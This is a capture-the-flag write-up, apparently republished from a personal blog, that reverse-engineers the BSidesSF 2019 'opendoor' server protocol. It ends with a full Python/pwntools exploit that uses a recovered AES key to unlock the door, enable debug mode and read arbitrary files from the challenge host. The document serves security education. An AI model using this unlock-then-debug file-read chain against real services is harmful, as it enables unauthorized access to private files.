BSides CTF 2019 - opendoor
This one is a pretty interesting challenge. My solution is just static analysis.But before jum 2019-03-06 09:00:00 Author: x0r19x91.gitlab.io(查看原文) 阅读量:41 收藏

This one is a pretty interesting challenge. My solution is just static analysis.

But before jumping into main, I’ll be analyzing the opendoor namespace

buffer_const

So, the class Buffer has two members; a vector of bytes and a offset indicating where to start the next read

    namespace opendoor {
        class Buffer {
            shared_ptr<vector<byte>> m_buffer;
            int m_offset;
        public:
            Buffer() {
                m_buffer = make_shared(vector<byte>);
                m_offset = 0;
            }
            // ...
        };
    };

Now lets analyze the Buffer::read<T> functions. This is important as it tells how the server unmarshalls the data.
Buffer::read<bool> is a wrapper to Buffer::read<uchar>.
Int32 and Int64 are being read in BigEndian

read_long

i.e., var_20[7 - var_14] = Buffer::read<uchar>()

read<shared_ptr<vector<uchar>>> and read<string> work the same. The first call read<uint> to read the no. of. bytes and read<uchar> to read that many bytes i.e., a vector is a string of bytes prefixed by its length

aes_const

The constructor of AESCrypter calls the superclass constructor, before initializing the members. AESCrypter::decrypt and AESCrypter::encrypt perform decryption and encryption using AES 256 CBC.

    namespace opendoor {
        class Crypter {
        public:
            virtual void decrypt(shared_ptr<Buffer>) = 0;
            virtual void encrypt(shared_ptr<Buffer>) = 0;
        };

        class AESCrypter : public Crypter {
            char* key;
            char* iv;
        public:
            AESCrypter() {
                key = opendoor::def_key;
                iv = opendoor::def_iv;
            }
            AESCrypter(char* k, char* i) {
                key = k; iv = i;
            }
            void* decrypt(shared_ptr<Buffer> p) {
                buf = _Decrypt(*p, key, iv);
                return make_shared<Buffer>(buf);
            }
            void* encrypt(shared_ptr<Buffer> p) {
                buf = _Encrypt(*p, key, iv);
                ans = make_shared<Buffer>();
                ans->write(buf.size());
                ans->write(buf);
                return ans;
            }
        };
    };

There is another class that implements Crypter. Its the PlainCrypter. Well you have guessed it right. Its a dummy class which neither encrypts nor decrypts. It has another parameter which if set to TRUE, prints debug logs.

Let’s move to opendoor::State which encapsulates a lock for the magic door.

state_const

The methods of State are straightforward. Here’s the representation of State

    namespace opendoor {
        class State {
            byte m_is_unlocked;
            byte m_is_debuggable;
            int32 m_unlock_count;
            int64 m_door_id;
        public:
            State() {
                m_is_unlocked = m_is_debuggable = 0;
                m_unlock_count = 0;
                m_door_id = 0x55AA55AA5A5AA5A5;
            }
            void unlock() {
                m_is_unlocked = 1;
                m_unlock_count++;
            }
            void lock() {
                m_is_unlocked = 0;
            }
            // getters ...
        };
    };

The Messaging Protocol

The Message class consists of six methods - parse_message, execute, to_string, serialize, ptr, and get_id out of which parse_message, to_string and get_id are pure virtual, i.e., they have to be implemented in the classes implementing Message.

The subclasses of Message are of:

  1. Messages that have a request and response - UnlockMessage, DebugMessage, PingMessage
  2. ErrorMessage

Message::serialize performs the common serialization.
It writes the message_id followed by the timestamp returned by time().

Now let’s go to Message::ParseMessage

msg_parse_msg

It reads two Int32 words i.e., the message_id and timestamp and checks if the recieved timestamp bounded by 5 seconds of the current timestamp. Otherwise it responds with an INVALID_TIMESTAMP ErrorMessage. I’ll discuss later how I got error constant names.

The generic parsing routine

    ParseMessage(shared_ptr<Buffer> p)
    {
        msg_id = p->read();
        msg_stamp = p->read();
        
        // time_in_window(a, b) == return abs(time(NULL)-a) <= b
        
        if (! time_in_window(msg_stamp, 5))
        {
            err = new ErrorMessage(INVALID_TIMESTAMP);
            return err->ptr();
        }
        f = messages_map.find(msg_id)
        if (f == messages_map.end())
        {
            err = new ErrorMessage(INVALID_MESSAGE);
            return err->ptr();
        }
        msg = (f->second)();

        // do message specific parse
        if (! msg->parse_message(p))
        {
            err = new ErrorMessage(INVALID_PARSE);
            return err->ptr();
        }
    }

So, the timestamp must be within 5 seconds.

Message also defines 7 lambdas that creates an instance each of the concrete message classes and encapsulates within a shared_ptr.

1. UnlockMessage

UnlockMessage::parse_message reads two Int64 words and stores them in its member variables.

unlock_exec

Clearly, the first member variable must be non zero and the second member variable must equate to door_number. The _good branch continues at

unlock_exec_2

which unlocks the door and creates an UnlockResponse. While the _bad branch, locks the door instead and returns an ACCESS_DENIED ErrorMessage.

Now we can represent Message as

    struct Message
    {
        int32_t id;
        int32_t time_stamp;
        union {
            union {
                UnlockMessage uMsg;
                DebugMessage dMsg;
                PingMessage pMsg;
            } msg;
            ErrorMessage eMsg;
        };
    };

    struct UnlockMessage
    {
        int64_t do_unlock;
        int64_t door_no;
    };

2. DebugMessage

DebugRequestMessage::parse_message:

debug_parse

It reads an Int32 which can be either 1 or 2. If the value read is 1, then it reads a boolean. If the value is 2, it reads a string. These are stored in member variables at offsets +8, +12, +16

DebugRequestMessage::execute:

debug_exec

If the member at offset +8 is 1 then **DebugRequestMessage::handle_debug_message_** is called. If the value is not 1 and the lock is not debuggable, an **ACCESS_DENIED** Error is returned. Whereas if the value is 2, and the lock is debuggable, **DebugRequestMessage::handle_readfile** is called.

Thus the member at offset +8, denotes the debug_type

Yay ! This looks promising !

So, to execute **handle_readfile_**, we must have the lock’s **DEBUG** flag turned on. But the lock’s debug flag is initially 0.

**handle_debug_message_**:

debug_handle_dbg

If the member at offset +12 is 1, the routine turns on the door’s DEBUG flag if the door is unlocked. If the value at offset +12 is not 1, then the door’s debug flag is turned off.

The member at offset +12 denotes the flag for turning on lock’s debug flag.

**handle_readfile_** reads 4K bytes from the file whose path is stored in the member variable at offset +16 and returns the contents.

    struct DebugMessage
    {
        int32_t debug_type;
        int8_t b_debug_lock;
        std::string filePath;
    };

Approach

  1. Send UnlockMessage to set the lock’s status to UNLOCKED
  2. Send DebugMessage of type 1 to set the lock’s DEBUG flag
  3. Send DebugMessage of type 2 to read any file !!

The ConnectionPool class uses non-blocking IO. It maintains a map whose keys are the client socket descriptors and values are instances of ConnectionHandler. The **do_read_** (**do_write**) methods read (write) a vector of bytes (from the socket) in the same format as **Buffer** reads (writes).

Here’s the vtable for ConnectionHandler

conn_handlr_vtbl

The members of ConnectionHandler are

    namespace opendoor {
        class ConnectionHandler {
            int32_t socket;                 /* +0x8 */
            bool b_closed;                  /* +0xC */
            int32_t read_size;              /* +0x10 */
            vector<byte> write_vec;         /* +0x18 */
            vector<byte> read_vec;          /* +0x30 */
            shared_ptr<Buffer> buffer;      /* +0x48 */
            shared_ptr<State> lock;         /* +0x58 */
            shared_ptr<Crypter> cryptr;     /* +0x68 */
            // ...
        };
    }

Let’s visit **ConnectionHandler::process_message_**

conn_proc

The routine calls cryptr->decrypt() on buffer. If the decryption is successful, it proceeds to ParseMessage

conn_proc_2

If the message has been parsed successfully, the execute() method is invoked. If it succeeds, a positive response is returned by invoking serialize() followed by cryptr->encrypt()

Last but not the least, init

init

The second routine, sets up the maps as follows

    messages = {
    # opendoor::Message::{lambda(void)#i}::operator()
        1  : 0x48900,    # PingRequest
        2  : 0x48940,    # PingResponse
        3  : 0x48980,    # UnlockRequest
        4  : 0x489C0,    # UnlockResponse
        5  : 0x48A00,    # DebugRequest
        6  : 0x48A40,    # DebugResponse
        -1 : 0x48A80     # ErrorMessage
    }

    error_messages = {
        0     : "Unknown",
        1     : "Invalid Message Type",
        2     : "Invalid Timestamp",
        3     : "Error Parsing",
        4     : "Crypto Error",
        0x193 : "Access Denied",
        0x194 : "Resource Not Found"
    }

main is also straightforward. It calls parse_flags to determine the default Crypter instance to be used. The default is AESCrypter. If -n is specified, PlainCrypter is used. The default port is 4848 which can be changed with -p option.

So, we have to write the encrypted Message prefixed by the size of the encrypted message to the server.

Source Code

    #!/usr/bin/python

    from Crypto.Cipher import AES
    from pwn import *

    PLAINTEXT = 0

    def pad(m):
        return m+chr(16-len(m)%16)*(16-len(m)%16)

    def unpad(s):
        return s[:-ord(s[len(s)-1:])]

    door_number = 0x55AA55AA5A5AA5A5
    key = '\x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0\x88\x88\x88\xD1\x8C\x86\x8C\x8B\x9A\x92\x90\x89\x9A\x8D\x93\x90\x8D\x9B\xD1\x9C\x90\x92\xD0\xFF'
    iv = 'notaflagnotaflag'

    def encrypt(msg):
        aes = AES.new(key=key, IV=iv, mode=AES.MODE_CBC)
        ans = aes.encrypt(pad(msg))
        del aes
        return ans

    def decrypt(msg):
        aes = AES.new(key=key, IV=iv, mode=AES.MODE_CBC)
        ans = aes.decrypt(msg)
        del aes
        return unpad(ans)

    def i32(i):
        return p32(i, endian='big')

    def i64(i):
        return p64(i, endian='big')

    def pStr(s):
        return i32(len(s)) + s

    def debugReq1(f):
        return i32(1) + chr(f)

    def debugReq2(f):
        return i32(2) + pStr(f)

    def unlockReq():
        return i64(1) + i64(door_number)

    def msg(msg_id, oMsg):
        body = i32(msg_id) + i32(int(time.time()+2)) + oMsg
        if not PLAINTEXT:
            body = encrypt(body)
        m = i32(len(body)) + body
        return m

    def parse(msg):
        size = u32(msg[:4], endian='big')
        print "[*] Message size: %d bytes" % size
        msg = msg[4:4+size]
        if not PLAINTEXT:
            msg = decrypt(msg)
        msg_id = u32(msg[:4], endian='big')
        print "[*] Message ID: %d" % msg_id
        time_stamp = u32(msg[4:8], endian='big')
        print "[*] Timestamp: %d" % time_stamp
        if msg_id == 4:
            uflag = u64(msg[8:16], endian='big')
            door = u64(msg[16:24], endian='big')
            print "[ Unlock ] - [ unlock_flag : %d, door_num : %x ]" % (uflag, door)
        elif msg_id == 6:
            debug_option = u32(msg[8:12], endian='big')
            if debug_option == 1:
                print "[ Debug ] - [ debug_flag : %d ]" % ord(msg[12])
            else:
                size = u32(msg[12:16], endian='big')
                text = msg[16:16+size]
                print "[ Debug ] - [ text : '%s' ]" % text


    r = remote('opendoor-ea62dae9.challenges.bsidessf.net', 4141)

    # unlock request to set unlock flag
    # send debug request with debug flag on to debug
    # send debug request to read any file

    r.send(msg(3, unlockReq()))
    parse(r.recv())
    r.send(msg(5, debugReq1(1)))
    parse(r.recv())
    r.send(msg(5, debugReq2('/home/opendoor/flag.txt')))
    parse(r.recv())
    r.close()

And the Output …

output

Solved after the CTF was over :(

文章来源: https://x0r19x91.gitlab.io/post/bsides-ctf-2019-opendoor/
如有侵权请联系:admin#unsafe.sh